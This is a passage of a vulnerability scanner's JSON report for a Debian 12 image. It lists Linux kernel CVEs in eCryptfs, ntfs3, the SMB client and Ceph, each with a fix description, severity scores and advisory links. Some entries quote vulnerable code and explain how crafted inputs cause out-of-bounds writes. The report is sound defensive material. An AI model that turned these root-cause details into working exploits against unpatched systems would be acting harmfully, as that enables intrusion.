following vulnerability has been resolved:\n\necryptfs: reject oversized encrypted_key_size in parse_tag_3_packet\n\nparse_tag_3_packet() set encrypted_key_size from the Tag 3 packet body\nwithout bounding it against ECRYPTFS_MAX_KEY_BYTES (64). When\nencrypted_key_size \u003e 64, decrypt_passphrase_encrypted_session_key()\nsets decrypted_key_size = encrypted_key_size and performs two\nout-of-bounds writes:\n\n1. crypto_skcipher_decrypt() writes encrypted_key_size bytes into\n decrypted_key[64] via scatterlist, overflowing into the parent\n ecryptfs_auth_tok struct.\n2. memcpy(crypt_stat-\u003ekey, decrypted_key, decrypted_key_size) writes\n into crypt_stat-\u003ekey[64], corrupting root_iv, keysig_list, and\n mutexes in ecryptfs_crypt_stat.\n\nOnly AES-192 (cipher code 0x08) enables this because it sets\ncrypt_stat-\u003ekey_size = 24 independently of encrypted_key_size,\nallowing crypto_skcipher_setkey() to succeed while encrypted_key_size\nexceeds ECRYPTFS_MAX_KEY_BYTES.\n\nThe PKI decryption path (parse_tag_65_packet) already validates\ndecrypted_key_size \u003c= ECRYPTFS_MAX_KEY_BYTES; the passphrase path\nomits this check.\n\nBound encrypted_key_size against ECRYPTFS_MAX_KEY_BYTES (64) rather\nthan ECRYPTFS_MAX_ENCRYPTED_KEY_BYTES (512). The 64-byte limit also\nprotects the 512-byte encrypted_key[] buffer, so the former 512-byte\ncheck is removed as redundant.\n\n[tyhicks: Adjust the code comment to refer to macros representing the\n buffer sizes rather than mentioning the buffer size values since they\n may change in the future]", "Severity": "HIGH", "VendorSeverity": { "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89607", "https://git.kernel.org/linus/5babe9c177c364521e3e682b949c5a8c47f4a441%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89607.mbox", "https://git.kernel.org/stable/c/14cb36a500a5a3afbc955dbf69dabc565f1a3b26", "https://git.kernel.org/stable/c/2cd21340163494d312836c77c9fbfe2530b3d075", "https://git.kernel.org/stable/c/33e050cac841498b5175f0f385eee903fd98863c", "https://git.kernel.org/stable/c/5babe9c177c364521e3e682b949c5a8c47f4a441", "https://git.kernel.org/stable/c/a419c9ebfc9a40ee56aaad6dc68bfd67d400817b", "https://git.kernel.org/stable/c/ccd13eff0e7356d2aa28b127b577e4e5ad4563f5", "https://git.kernel.org/stable/c/d2802414081184f79a619ede178aeef3aa989793", "https://git.kernel.org/stable/c/e2152d491ae62d96a32ed59778680a242af1fbc6", "https://linux.oracle.com/cve/CVE-2026-89607.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89607", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89607" ], "PublishedDate": "2026-09-11T20:19:45.723Z", "LastModifiedDate": "2026-10-19T09:17:57.22Z" }, { "VulnerabilityID": "CVE-2026-89617", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89617", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6fdd733820a0e1630a947e5c97acfdae39b0166ea3568084a2928cad149e4ac4", "Title": "kernel: fs/ntfs3: validate dirty page table on log replay", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nfs/ntfs3: validate dirty page table on log replay\n\nEach DIR_PAGE_ENTRY ends in a page_lcns[] array whose length is the on-disk\nlcns_follow field. check_rstbl() validates the table bookkeeping but never\nchecks that this array fits in the entry, so a crafted lcns_follow lets the\nv0-\u003ev1 conversion memmove and later replay passes run off the entry.\n\nAdd check_dp_table() to reject, right after check_rstbl(), any entry larger\nthan its size claims via struct_size() (the same expression used to allocate\nthese entries, so the check is overflow-safe by construction). All consumers\ncan then trust lcns_follow as the real capacity. This covers every\npage_lcns[] access whose index is bounded by the entry itself (the\nconversion memmove, the HotFix store via find_dp(), and the self-bounded\nscan loops). Accesses whose index comes from the log record need a separate\nbound and are handled in a follow-up patch.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89617", "https://git.kernel.org/linus/006cb7713dec10368e699abc4367e5faa334c9a5%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89617.mbox", "https://git.kernel.org/stable/c/006cb7713dec10368e699abc4367e5faa334c9a5", "https://git.kernel.org/stable/c/0908da07c23be4f94b99dfd9a94765525f0fe4bd", "https://git.kernel.org/stable/c/0e07ea2fc45a7b4757ef7bf1f692cc0180a08323", "https://git.kernel.org/stable/c/1200c2779c43b62656ccbb67df9468a7a9af2484", "https://git.kernel.org/stable/c/1e90b1703ee1a04cd3e9e399353fc536f5f3ba10", "https://git.kernel.org/stable/c/2d94ffc9d7b5bb3517b129fe63b52d84bcd4ae56", "https://git.kernel.org/stable/c/d23155634a4bc1183e761d5eb2c043b2e693cc98", "https://nvd.nist.gov/vuln/detail/CVE-2026-89617", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89617" ], "PublishedDate": "2026-09-11T20:19:46.917Z", "LastModifiedDate": "2026-10-19T09:17:58.413Z" }, { "VulnerabilityID": "CVE-2026-89631", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89631", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d8b0061a812d230be9edccb6c14e349d78c6c47e3e87166fd7687f87a1ffa35f", "Title": "kernel: smb: client: reject a tree connect response whose byte count is too small", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: reject a tree connect response whose byte count is too small\n\nCIFSTCon() bounds its strnlen() over the byte area with the server's\nByteCount minus two, which for ByteCount 0 or 1 goes negative as an int\nand converts to a huge size_t. The later subtraction wraps the __u16\nbytes_left, and that is what bounds cifs_strndup_from_utf16(): a bound of\nup to 65535 against a ~16 KB cifs_req_poolp object runs off the end of the\nslab object, and the bytes reach userspace through tcon-\u003enativeFileSystem\nin /proc/fs/cifs/DebugData.\n\nReject a byte area too small for what the parser consumes. Two bytes is\nthe least it can consume, and no conformant response carries fewer. The\nnew trace point is the 129th smb_eio_trace entry, which __mode(byte)\ncannot represent, so the attribute goes with it.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 4, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:85773", "https://access.redhat.com/errata/RHSA-2026:85774", "https://access.redhat.com/security/cve/CVE-2026-89631", "https://bugzilla.redhat.com/2492098", "https://bugzilla.redhat.com/2492750", "https://bugzilla.redhat.com/2521384", "https://bugzilla.redhat.com/2524422", "https://bugzilla.redhat.com/2532089", "https://bugzilla.redhat.com/2532290", "https://bugzilla.redhat.com/2540391", "https://bugzilla.redhat.com/2540500", "https://bugzilla.redhat.com/2540872", "https://bugzilla.redhat.com/2546494", "https://bugzilla.redhat.com/show_bug.cgi?id=2492098", "https://bugzilla.redhat.com/show_bug.cgi?id=2492750", "https://bugzilla.redhat.com/show_bug.cgi?id=2521384", "https://bugzilla.redhat.com/show_bug.cgi?id=2524422", "https://bugzilla.redhat.com/show_bug.cgi?id=2532089", "https://bugzilla.redhat.com/show_bug.cgi?id=2532290", "https://bugzilla.redhat.com/show_bug.cgi?id=2540391", "https://bugzilla.redhat.com/show_bug.cgi?id=2540500", "https://bugzilla.redhat.com/show_bug.cgi?id=2546494", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52935", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53196", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74588", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74752", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89479", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89631", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93288", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93817", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98320", "https://errata.almalinux.org/8/ALSA-2026-85774.html", "https://errata.rockylinux.org/RLSA-2026:85773", "https://git.kernel.org/linus/65deb18359341141d37dc86fc7853511be3c87a7%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89631.mbox", "https://git.kernel.org/stable/c/2ae219762ebac929bf6ab3473681f10ed566af08", "https://git.kernel.org/stable/c/3be89e8039a85fa3b6cd5f9dcc4c1459eb356c2d", "https://git.kernel.org/stable/c/411e484fe71a7f1028de617447edad9cb6d9d68a", "https://git.kernel.org/stable/c/65deb18359341141d37dc86fc7853511be3c87a7", "https://git.kernel.org/stable/c/bb99866cb1d3d5e8201200a8692fd8da3106a8fd", "https://git.kernel.org/stable/c/d837645a719151ed392d4d9cab4571c2753dab12", "https://linux.oracle.com/cve/CVE-2026-89631.html", "https://linux.oracle.com/errata/ELSA-2026-85773.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89631", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89631" ], "PublishedDate": "2026-09-11T20:19:48.64Z", "LastModifiedDate": "2026-10-30T13:20:23.05Z" }, { "VulnerabilityID": "CVE-2026-89633", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89633", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:40662719062e8974b852326023a9524e406962144fb0ebb70dae6096c34f598a", "Title": "kernel: smb: client: fix OOB read/write from unvalidated DataOffset in coalesce_t2()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: fix OOB read/write from unvalidated DataOffset in coalesce_t2()\n\ncoalesce_t2() computes data pointers directly from server-supplied\nDataOffset fields with no validation against buffer bounds:\n\n data_area_of_tgt = (char *)\u0026pSMBt-\u003ehdr.Protocol +\n get_unaligned_le16(\u0026pSMBt-\u003et2_rsp.DataOffset);\n data_area_of_src = (char *)\u0026pSMBs-\u003ehdr.Protocol +\n get_unaligned_le16(\u0026pSMBs-\u003et2_rsp.DataOffset);\n data_area_of_tgt += total_in_tgt;\n ...\n memcpy(data_area_of_tgt, data_area_of_src, total_in_src);\n\nA small DataOffset can push a pointer below the actual byte area,\noverwriting header fields; a large one can push it past the buffer\nend, causing out-of-bounds heap reads (source) or writes (target).\nThe BCC overflow guard does not prevent this: BCC reflects how much\ndata is present, while DataOffset controls where in the buffer it\nstarts.\n\nThe \"validate target area\" comment present since the function was\nfirst written in 2005 was a placeholder that was never implemented.\n\nAdd lower- and upper-bound checks for both data pointers before the\nmemcpy, and before any target header fields are modified.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "V3Score": 8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89633", "https://access.redhat.com/errata/RHSA-2026:86033", "https://access.redhat.com/security/cve/CVE-2026-89633", "https://bugzilla.redhat.com/2461761", "https://bugzilla.redhat.com/2492098", "https://bugzilla.redhat.com/2502325", "https://bugzilla.redhat.com/2502332", "https://bugzilla.redhat.com/2502333", "https://bugzilla.redhat.com/2502356", "https://bugzilla.redhat.com/2502462", "https://bugzilla.redhat.com/2502486", "https://bugzilla.redhat.com/2511413", "https://bugzilla.redhat.com/2516967", "https://bugzilla.redhat.com/2532230", "https://bugzilla.redhat.com/2540391", "https://bugzilla.redhat.com/2540872", "https://bugzilla.redhat.com/2546491", "https://bugzilla.redhat.com/2553429", "https://bugzilla.redhat.com/show_bug.cgi?id=2461761", "https://bugzilla.redhat.com/show_bug.cgi?id=2492098", "https://bugzilla.redhat.com/show_bug.cgi?id=2502325", "https://bugzilla.redhat.com/show_bug.cgi?id=2502332", "https://bugzilla.redhat.com/show_bug.cgi?id=2502333", "https://bugzilla.redhat.com/show_bug.cgi?id=2502356", "https://bugzilla.redhat.com/show_bug.cgi?id=2502377", "https://bugzilla.redhat.com/show_bug.cgi?id=2502462", "https://bugzilla.redhat.com/show_bug.cgi?id=2502486", "https://bugzilla.redhat.com/show_bug.cgi?id=2511413", "https://bugzilla.redhat.com/show_bug.cgi?id=2516967", "https://bugzilla.redhat.com/show_bug.cgi?id=2525413", "https://bugzilla.redhat.com/show_bug.cgi?id=2532230", "https://bugzilla.redhat.com/show_bug.cgi?id=2540391", "https://bugzilla.redhat.com/show_bug.cgi?id=2546491", "https://bugzilla.redhat.com/show_bug.cgi?id=2553429", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31678", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52935", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63899", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63956", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63962", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63974", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64024", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64032", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64572", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74509", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80590", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89633", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93817", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-99999", "https://errata.almalinux.org/9/ALSA-2026-86033.html", "https://errata.rockylinux.org/RLSA-2026:86033", "https://git.kernel.org/linus/6343c1da561962688f203362d80d6a3bfa39fa1b%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89633.mbox", "https://git.kernel.org/stable/c/033bc80019f07d158630df4e69b19a49010f54f1", "https://git.kernel.org/stable/c/36d01415d881d5326a0dd3384f781cd7e69aff2d", "https://git.kernel.org/stable/c/531ac35abd74fb5b4aec5e19543e832613a1789d", "https://git.kernel.org/stable/c/6343c1da561962688f203362d80d6a3bfa39fa1b", "https://git.kernel.org/stable/c/672cf86aa6aa0fb4012ce4c3b3498df42ad67a4e", "https://git.kernel.org/stable/c/6eb70b78e48b0031bd1a05fe1b58959a48e87739", "https://git.kernel.org/stable/c/9f3a7440731a34c89ad04fef6616f185acb28401", "https://git.kernel.org/stable/c/f7baf60435129e3a5f3500a38e3cb4c3860deed7", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-kenvkuzgzr9d.toml", "https://linux.oracle.com/cve/CVE-2026-89633.html", "https://linux.oracle.com/errata/ELSA-2026-86033.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89633", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89633" ], "PublishedDate": "2026-09-11T20:19:48.887Z", "LastModifiedDate": "2026-10-30T13:20:23.223Z" }, { "VulnerabilityID": "CVE-2026-89638", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89638", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:aac26125db909913a2641d248ab8ed725ef2ccefa495fd886c31234f239dbf0f", "Title": "kernel: smb: client: clear setuid/setgid bit on write with cifsacl/modefromsid/posix extensions", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: clear setuid/setgid bit on write with cifsacl/modefromsid/posix extensions\n\nWhen a file has the setuid or setgid bit set and is written to, the VFS\nstrips those bits and issues a setattr with ATTR_KILL_SUID/ATTR_KILL_SGID\ntogether with an ATTR_MODE carrying the already-cleared mode.\n\nBoth cifs_setattr_unix() and cifs_setattr_nounix() unconditionally dropped\nATTR_MODE in that case:\n\n\t/* skip mode change if it's just for clearing setuid/setgid */\n\tif (attrs-\u003eia_valid \u0026 (ATTR_KILL_SUID|ATTR_KILL_SGID))\n\t\tattrs-\u003eia_valid \u0026= ~ATTR_MODE;\n\nThis is fine for the default mount, where the mode is only emulated via\nthe DOS read-only attribute and cannot represent the setuid/setgid bits\nanyway. However, with the \"cifsacl\" or \"modefromsid\" mount options the\nmode is stored on the server through an ACL (id_mode_to_cifs_acl()), with\nthe SMB3.1.1 POSIX extensions the mode is sent to the server directly,\nand with the SMB1 Unix extensions (cifs_setattr_unix) the mode is sent\nvia CIFSSMBUnixSetPathInfo(). In all those cases dropping ATTR_MODE means\nthe cleared mode is never pushed to the server, so the setuid/setgid bit\nsurvives the write.\n\nThis is a security issue: on local filesystems the setuid bit is stripped\nwhen a file is written, but over these cifs.ko mounts the bit persists on\nthe server, potentially allowing an unexpected privilege escalation on\nsubsequent execution.\n\nFix this in two places:\n\n 1. cifs_setattr_nounix(): only take the \"skip mode change\" shortcut\n when the mode is emulated via the DOS read-only attribute (i.e.\n neither cifsacl/modefromsid nor the SMB3.1.1 POSIX extensions are\n in effect), so that the cleared mode is propagated to the server\n in the ACL / POSIX cases.\n\n 2. cifs_setattr_unix(): this function is only called when Unix\n extensions are in effect, so the mode is always stored on the\n server. Remove the shortcut entirely so that the cleared mode is\n always pushed.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89638", "https://access.redhat.com/errata/RHSA-2026:90365", "https://access.redhat.com/security/cve/CVE-2026-89638", "https://bugzilla.redhat.com/2348512", "https://bugzilla.redhat.com/2502255", "https://bugzilla.redhat.com/2502376", "https://bugzilla.redhat.com/2502382", "https://bugzilla.redhat.com/2507098", "https://bugzilla.redhat.com/2507122", "https://bugzilla.redhat.com/2516251", "https://bugzilla.redhat.com/2516417", "https://bugzilla.redhat.com/2517006", "https://bugzilla.redhat.com/2528642", "https://bugzilla.redhat.com/2532122", "https://bugzilla.redhat.com/2535066", "https://bugzilla.redhat.com/2540323", "https://bugzilla.redhat.com/2546385", "https://bugzilla.redhat.com/2546494", "https://bugzilla.redhat.com/show_bug.cgi?id=2348512", "https://bugzilla.redhat.com/show_bug.cgi?id=2502255", "https://bugzilla.redhat.com/show_bug.cgi?id=2502376", "https://bugzilla.redhat.com/show_bug.cgi?id=2502382", "https://bugzilla.redhat.com/show_bug.cgi?id=2507098", "https://bugzilla.redhat.com/show_bug.cgi?id=2507122", "https://bugzilla.redhat.com/show_bug.cgi?id=2516251", "https://bugzilla.redhat.com/show_bug.cgi?id=2516417", "https://bugzilla.redhat.com/show_bug.cgi?id=2517006", "https://bugzilla.redhat.com/show_bug.cgi?id=2528642", "https://bugzilla.redhat.com/show_bug.cgi?id=2532122", "https://bugzilla.redhat.com/show_bug.cgi?id=2535066", "https://bugzilla.redhat.com/show_bug.cgi?id=2540323", "https://bugzilla.redhat.com/show_bug.cgi?id=2546385", "https://bugzilla.redhat.com/show_bug.cgi?id=2546494", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57974", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53388", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63978", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63979", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64523", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68476", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74515", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89638", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89777", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98320", "https://errata.almalinux.org/9/ALSA-2026-90365.html", "https://errata.rockylinux.org/RLSA-2026:90365", "https://git.kernel.org/linus/b8e5dc4f95e5484159b343903f302eb6d783f2e6%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89638.mbox", "https://git.kernel.org/stable/c/2a5206992f526178881e8f5c4644757c336fb76d", "https://git.kernel.org/stable/c/58b23fc9fb580432470d6c5da3c1e5660dba9fbc", "https://git.kernel.org/stable/c/69bfe810ecd1e0387d8975d711cd326341d13c6e", "https://git.kernel.org/stable/c/7ceb6f7cb8f8f2b094e0dcdaf75757775d231378", "https://git.kernel.org/stable/c/a3a0cc83761e46a75b1ed6bfaf35961f2c211148", "https://git.kernel.org/stable/c/b10015807e4c628095d1d1d1c9307efc8cdd9e1b", "https://git.kernel.org/stable/c/b8e5dc4f95e5484159b343903f302eb6d783f2e6", "https://git.kernel.org/stable/c/ce0e675907b887db2b1e44a806118b0a7d8b6b18", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-99zevkneils0.toml", "https://linux.oracle.com/cve/CVE-2026-89638.html", "https://linux.oracle.com/errata/ELSA-2026-91565.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89638", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89638" ], "PublishedDate": "2026-09-11T20:19:49.493Z", "LastModifiedDate": "2026-10-30T13:20:23.393Z" }, { "VulnerabilityID": "CVE-2026-89652", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89652", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8a8fea61317303b7926e0db31ae66d48b46ffd2c6fecc131b04e2a67cfbb66b9", "Title": "kernel: ceph: bound copied dentry name length in NFS export get_name", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nceph: bound copied dentry name length in NFS export get_name\n\nceph_get_name() copies the MDS-supplied name into the caller's\nNAME_MAX-sized buffer with memcpy(name, rinfo-\u003edname, rinfo-\u003edname_len)\nand then writes name[rinfo-\u003edname_len] = 0, without checking dname_len\nagainst NAME_MAX. A malicious or buggy MDS that returns a LOOKUPNAME reply\nwith dname_len \u003e NAME_MAX overflows the buffer. __get_snap_name() copies\nrde-\u003ename / rde-\u003ename_len the same unchecked way.\n\nImpact: a malicious or compromised Ceph MDS overflows the NAME_MAX name\nbuffer in a client's NFS-export get_name path, a slab out-of-bounds write\nreported by KASAN. Reachable when a CephFS mount is re-exported over NFS.\n\nAdd ceph_export_copy_name(), which rejects lengths above NAME_MAX with\n-ENAMETOOLONG before the copy, and use it in both ceph_get_name() and\n__get_snap_name().", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89652", "https://access.redhat.com/security/cve/CVE-2026-89652", "https://git.kernel.org/linus/eff8013c5a8916613c742ae5a2cc341cb605c0ae%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89652.mbox", "https://git.kernel.org/stable/c/06fb5e623cdc2402d6bb29be94d9beb9a826ffec", "https://git.kernel.org/stable/c/3cb09301c30909a7935e9de41f98eeb5ef7e4d40", "https://git.kernel.org/stable/c/61d9f27b191b838b96b697ce0bfaee39a138243a", "https://git.kernel.org/stable/c/a294064e0e0f81ea607b2f019e16888aa1b0a011", "https://git.kernel.org/stable/c/aadfe588ad8032ea99bda259ae7b8d42854f8193", "https://git.kernel.org/stable/c/dff3d84d14142ea43ad61ef5d6b4de05ba16ba42", "https://git.kernel.org/stable/c/e7c2fd3893a7f7fcd7e8cf0b2c6348bb1e893df6", "https://git.kernel.org/stable/c/eff8013c5a8916613c742ae5a2cc341cb605c0ae", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.5.0/BRSA-06ghtgcffasr.toml", "https://linux.oracle.com/cve/CVE-2026-89652.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89652", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89652" ], "PublishedDate": "2026-09-11T20:19:51.283Z", "LastModifiedDate": "2026-10-30T13:20:24.69Z" }, { "VulnerabilityID": "CVE-2026-89653", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", 